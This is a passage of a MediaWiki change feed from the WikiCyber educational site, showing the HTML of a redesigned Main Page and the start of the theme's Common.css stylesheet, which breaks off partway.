		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=296</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=296"/>
		<updated>2026-10-16T20:25:19Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-corporate&amp;quot; aria-label=&amp;quot;Main page&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-hero&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-hero-inner&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div&amp;gt;&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p class=&amp;quot;hero-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;hero-actions&amp;quot;&amp;gt;[[#topics|&amp;lt;span class=&amp;quot;button primary&amp;quot;&amp;gt;Explore the knowledge base &amp;lt;span aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8594;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;]][[Special:AllPages|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Read an article &amp;amp;#8599;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;hero-art&amp;quot; role=&amp;quot;img&amp;quot; aria-label=&amp;quot;WikiCyber connects operating systems, network security, and digital forensics knowledge&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-heading&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-brand&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;WikiCyber&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-core&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Knowledge from systems to security.&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;art-connector&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;art-branches&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-systems&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Operating systems&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-network&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Network security&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;art-node&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-diagram-icon wc-diagram-forensics&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;Digital forensics&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;knowledge-strip&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;knowledge-strip-inner&amp;quot;&amp;gt;&amp;lt;strong&amp;gt;Find the knowledge you need.&amp;lt;/strong&amp;gt;&amp;lt;div&amp;gt;[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco &amp;amp;amp; networking]][[:Category:Windows Forensics|Digital forensics]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;home-section&amp;quot; id=&amp;quot;topics&amp;quot; aria-labelledby=&amp;quot;topics-title&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;section-heading&amp;quot;&amp;gt;&amp;lt;h2 id=&amp;quot;topics-title&amp;quot;&amp;gt;Build on a stronger&amp;lt;br&amp;gt;technical foundation.&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;div class=&amp;quot;topic-grid&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8862;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;[[:Category:Windows|Explore Windows &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Permissions, services, account auditing, and practical command-line guidance.&amp;lt;/p&amp;gt;[[:Category:Linux|Explore Linux &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8984;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Networking concepts, routing, and the configuration behind secure connections.&amp;lt;/p&amp;gt;[[:Category:Cisco|Explore networking &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
          &amp;lt;div class=&amp;quot;topic-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;topic-icon green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#9678;&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Event logs, system artifacts, and methods for understanding what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore forensics &amp;amp;#8594;]]&amp;lt;/div&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&amp;lt;p id=&amp;quot;search-status&amp;quot; class=&amp;quot;muted&amp;quot; role=&amp;quot;status&amp;quot; aria-live=&amp;quot;polite&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-feature&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-feature-inner&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;Follow the evidence.&amp;lt;br&amp;gt;Understand the system.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Explore the forensics collection &amp;amp;#8594;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;terminal&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;linux &amp;amp;middot; investigation&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;span&amp;gt;# Establish a starting point&amp;lt;/span&amp;gt;&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;contribution-section&amp;quot; id=&amp;quot;contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Contribute your experience.&amp;lt;br&amp;gt;Help improve the reference.&amp;lt;/h2&amp;gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&amp;lt;/p&amp;gt;[[Help:Your first article|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Writing your first article ?&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;corporate-rule&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=295</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=295"/>
		<updated>2026-10-16T20:25:18Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */&lt;br /&gt;
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}&lt;br /&gt;
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}&lt;br /&gt;
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}&lt;br /&gt;
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}&lt;br /&gt;
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}&lt;br /&gt;
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card&amp;gt;a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner&amp;gt;div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal&amp;gt;div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url(&#039;/images/branding/theme-v1/wikicyber-mark-135.svg&#039;) center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url(&#039;/images/branding/theme-v1/icon-systems.svg?v=2&#039;)}.skin-vector-2022 .wc-diagram-network{background-image:url(&#039;/images/branding/theme-v1/icon-network.svg?v=2&#039;)}.skin-vector-2022 .wc-diagram-forensics{background-image:url(&#039;/images/branding/theme-v1/icon-forensics.svg?v=2&#039;)}&lt;br /&gt;
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}&lt;br /&gt;
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}&lt;br /&gt;
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}&lt;br /&gt;
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}&lt;br /&gt;
/* Reading the homepage is a landing-page experience; editing retains Vector UI. */&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-body{display:block;width:100%}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-body-header,&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .vector-page-toolbar{display:none}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-page-container{max-width:none;padding:0}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) #bodyContent{width:100%;max-width:none;box-sizing:border-box}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) #mw-content-text{margin-top:0;width:100%}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-parser-output{width:100%;max-width:none}&lt;br /&gt;
.skin-vector-2022 .wc-home-tools{display:flex;gap:18px;font-size:12px;margin-top:14px}&lt;br /&gt;
&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{content:&#039;&#039;;position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}&lt;br /&gt;
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}&lt;br /&gt;
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}&lt;br /&gt;
.skin-vector-2022 .art-heading img{width:34px;height:34px}&lt;br /&gt;
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}&lt;br /&gt;
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}&lt;br /&gt;
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}&lt;br /&gt;
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}&lt;br /&gt;
.skin-vector-2022 .art-branches:before{content:&#039;&#039;;position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div{position:relative;padding-top:22px;text-align:center}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div:before{content:&#039;&#039;;width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}&lt;br /&gt;
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}&lt;br /&gt;
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{display:flex;gap:35px;flex-wrap:wrap}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}&lt;br /&gt;
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}&lt;br /&gt;
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}&lt;br /&gt;
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div{padding:15px 20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div span{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}&lt;br /&gt;
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .home-section #search-status:empty{display:none}&lt;br /&gt;
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}&lt;br /&gt;
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}&lt;br /&gt;
.skin-vector-2022 .corporate-nav{gap:17px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:220px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .brand small{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .search{max-width:240px}&lt;br /&gt;
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:53px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:22px}&lt;br /&gt;
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:270px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:25px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}&lt;br /&gt;
.skin-vector-2022 .section-description{max-width:580px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{max-width:none}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:0}&lt;br /&gt;
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}&lt;br /&gt;
.skin-vector-2022 .layout{display:block;padding:0 20px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}&lt;br /&gt;
.skin-vector-2022 .page-toolbar&amp;gt;div{gap:20px;white-space:nowrap}&lt;br /&gt;
.skin-vector-2022 .page-toolbar a{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}&lt;br /&gt;
.skin-vector-2022 .home-section{padding:50px 25px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:32px}&lt;br /&gt;
